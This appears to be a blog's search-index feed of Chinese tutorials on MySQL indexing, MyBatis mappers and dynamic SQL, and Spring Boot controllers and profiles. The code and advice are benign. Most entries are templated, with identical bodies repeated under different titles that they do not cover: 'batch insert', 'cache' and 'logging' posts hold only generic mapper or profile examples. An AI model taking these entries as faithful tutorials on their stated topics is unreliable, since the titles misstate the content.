class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：MySQL-索引设计的几个核心原则"><a href="#教程：MySQL-索引设计的几个核心原则" class="headerlink" title="教程：MySQL 索引设计的几个核心原则"></a>教程：MySQL 索引设计的几个核心原则</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：MyBatis 批量插入和性能优化</title>
      <link href="//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/"/>
      <url>//mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：MyBatis-批量插入和性能优化"><a href="#教程：MyBatis-批量插入和性能优化" class="headerlink" title="教程：MyBatis 批量插入和性能优化"></a>教程：MyBatis 批量插入和性能优化</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：MyBatis 动态 SQL 的正确写法</title>
      <link href="//mybatis-dong-tai-sql-de-zheng-que-xie-fa/"/>
      <url>//mybatis-dong-tai-sql-de-zheng-que-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：MyBatis-动态-SQL-的正确写法"><a href="#教程：MyBatis-动态-SQL-的正确写法" class="headerlink" title="教程：MyBatis 动态 SQL 的正确写法"></a>教程：MyBatis 动态 SQL 的正确写法</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：MyBatis-一级缓存和二级缓存怎么理解"><a href="#教程：MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="教程：MyBatis 一级缓存和二级缓存怎么理解"></a>教程：MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Spring Boot 日志配置和链路排查</title>
      <link href="//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/"/>
      <url>//spring-boot-ri-zhi-pei-zhi-he-lian-lu-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Spring-Boot-日志配置和链路排查"><a href="#教程：Spring-Boot-日志配置和链路排查" class="headerlink" title="教程：Spring Boot 日志配置和链路排查"></a>教程：Spring Boot 日志配置和链路排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Spring Boot 参数校验和返回值封装</title>
      <link href="//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/"/>
      <url>//spring-boot-can-shu-xiao-yan-he-fan-hui-zhi-feng-zhuang/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Spring-Boot-参数校验和返回值封装"><a href="#教程：Spring-Boot-参数校验和返回值封装" class="headerlink" title="教程：Spring Boot 参数校验和返回值封装"></a>教程：Spring Boot 参数校验和返回值封装</h1><p>参数校验和返回值封装是接口质量的第一道防线。本文讲 Spring Boot 中的标准做法和常见问题。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Spring Boot 统一异常处理实践</title>
      <link href="//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/"/>
      <url>//spring-boot-tong-yi-yi-chang-chu-li-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Spring-Boot-统一异常处理实践"><a href="#教程：Spring-Boot-统一异常处理实践" class="headerlink" title="教程：Spring Boot 统一异常处理实践"></a>教程：Spring Boot 统一异常处理实践</h1><p>Java 异常体系设计得很完整，但用好它并不简单。本文讲业务异常的设计原则。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。</p><h2 id="配置和验证"><a href="#配置和验证" class="headerlink" title="配置和验证"></a>配置和验证</h2><p>如果涉及环境配置，建议拆分：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">spring:</span></span><br><span class="line">  <span class="attr">profiles:</span></span><br><span class="line">    <span class="attr">active:</span> <span class="string">dev</span></span><br><span class="line"></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">port:</span> <span class="number">8080</span></span><br></pre></td></tr></table></figure><p>生产环境启动时不要手工改文件，可以通过参数指定：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar app.jar --spring.profiles.active=prod</span><br></pre></td></tr></table></figure><p>接口写完后，用 curl 验证：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl http://localhost:8080/users/1</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。</li><li>Controller 不要返回 Entity，避免数据库字段直接暴露。</li><li>参数校验和异常处理最好统一做，不要散落在每个接口里。</li></ul>]]></content>
      
      
      <categories>
          
          <category> SpringBoot </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> SpringBoot </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Spring Boot 配置分环境的标准做法</title>
      <link href="//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/"/>
      <url>//spring-boot-pei-zhi-fen-huan-jing-de-biao-zhun-zuo-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Spring-Boot-配置分环境的标准做法"><a href="#教程：Spring-Boot-配置分环境的标准做法" class="headerlink" title="教程：Spring Boot 配置分环境的标准做法"></a>教程：Spring Boot 配置分环境的标准做法</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先搭一个最小接口"><a href="#先搭一个最小接口" class="headerlink" title="先搭一个最小接口"></a>先搭一个最小接口</h2><p>以 Spring Boot 为例，一个接口最好保持分层清楚：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/users&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">UserController</span><span class="params">(UserService userService)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.userService = userService;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> UserDTO <span class="title function_">detail</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userService.detail(id);</span><br><span class="line">    &#125;</span><br><span 